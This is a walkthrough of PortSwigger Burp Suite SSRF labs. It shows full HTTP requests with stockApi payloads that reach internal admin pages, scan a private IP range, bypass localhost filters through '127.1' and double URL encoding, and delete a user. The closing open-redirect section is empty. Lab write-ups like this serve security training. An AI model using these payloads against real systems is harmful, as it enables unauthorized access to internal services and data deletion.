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BurpSuite Labs - Server Side Request Forgery

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#payloads-with-localhost

Basic SSRF against the local server

Enunciation

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

Solution

POST /product/stock HTTP/2
Host: 0a1600f6034ecb0581760c6200e30093.web-security-academy.net
Cookie: session=nQDGMiUWrUCVsa4ZXP4RoToYgd4biWt5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a1600f6034ecb0581760c6200e30093.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: https://0a1600f6034ecb0581760c6200e30093.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

stockApi=http%3A%2F%2Flocalhost%2Fadmin%2Fdelete?username=carlos

ssrf 1

  1. Browse to /admin and observe that you can't directly access the admin page.
  2. Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.
  3. Change the URL in the stockApi parameter to http://localhost/admin. This should display the administration interface.

  4. Read the HTML to identify the URL to delete the target user, which is:

    http://localhost/admin/delete?username=carlos

  5. Submit this URL in the stockApi parameter, to deliver the SSRF attack.

Basic SSRF against another back-end system

Enunciation

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.

Solution

Launch a scan request with intruder

POST /product/stock HTTP/2
Host: 0a81003a04cbb66585aa2164005e00d9.web-security-academy.net
Cookie: session=ukVLJOQMDp5wqxujhaw2c21t5Xt8XcYq
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a81003a04cbb66585aa2164005e00d9.web-security-academy.net/product?productId=2
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: https://0a81003a04cbb66585aa2164005e00d9.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

stockApi=http://192.168.0.§1§:8080/admin/

ssrf 1

Now we know that the address is http://192.168.0.16:8080/admin/, so we can send the delete request for user carlos.

POST /product/stock HTTP/2
Host: 0a81003a04cbb66585aa2164005e00d9.web-security-academy.net
Cookie: session=ukVLJOQMDp5wqxujhaw2c21t5Xt8XcYq
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a81003a04cbb66585aa2164005e00d9.web-security-academy.net/product?productId=2
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: https://0a81003a04cbb66585aa2164005e00d9.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

stockApi=http://192.168.0.16:8080/admin/delete?username=carlos

ssrf 1

  1. Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Intruder.
  2. Click "Clear §", change the stockApi parameter to http://192.168.0.1:8080/admin then highlight the final octet of the IP address (the number 1), click "Add §".
  3. Switch to the Payloads tab, change the payload type to Numbers, and enter 1, 255, and 1 in the "From" and "To" and "Step" boxes respectively.
  4. Click "Start attack".
  5. Click on the "Status" column to sort it by status code ascending. You should see a single entry with a status of 200, showing an admin interface.
  6. Click on this request, send it to Burp Repeater, and change the path in the stockApi to: /admin/delete?username=carlos

SSRF with blacklist-based input filters

Enunciation

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

The developer has deployed two weak anti-SSRF defenses that you will need to bypass.

Solution

POST /product/stock HTTP/2
Host: 0a7700f4041232118111d52d000100ab.web-security-academy.net
Cookie: session=zdzvJtvkFadrRM96wa1vXhMF7G2zfSkN
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a7700f4041232118111d52d000100ab.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Origin: https://0a7700f4041232118111d52d000100ab.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

stockApi=http://127.1/%25%36%31dmin

ssrf 3

Now we know that we need to use the filters:

  • 127.1
  • double url encoding of "a" character in the word 'admin.'

so we can send the delete request for user carlos.

POST /product/stock HTTP/2
Host: 0a7700f4041232118111d52d000100ab.web-security-academy.net
Cookie: session=zdzvJtvkFadrRM96wa1vXhMF7G2zfSkN
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a7700f4041232118111d52d000100ab.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Origin: https://0a7700f4041232118111d52d000100ab.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

stockApi=http://127.1/%25%36%31dmin/%25%36%34elete?username=carlos

ssrf 3

  1. Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.
  2. Change the URL in the stockApi parameter to http://127.0.0.1/ and observe that the request is blocked.
  3. Bypass the block by changing the URL to: http://127.1/
  4. Change the URL to http://127.1/admin and observe that the URL is blocked again.
  5. Obfuscate the "a" by double-URL encoding it to %2561 to access the admin interface and delete the target user.

SSRF with filter bypass via open redirection vulnerability

Enunciation

Solution

Last update: 2024-04-28
Created: April 28, 2024 21:16:55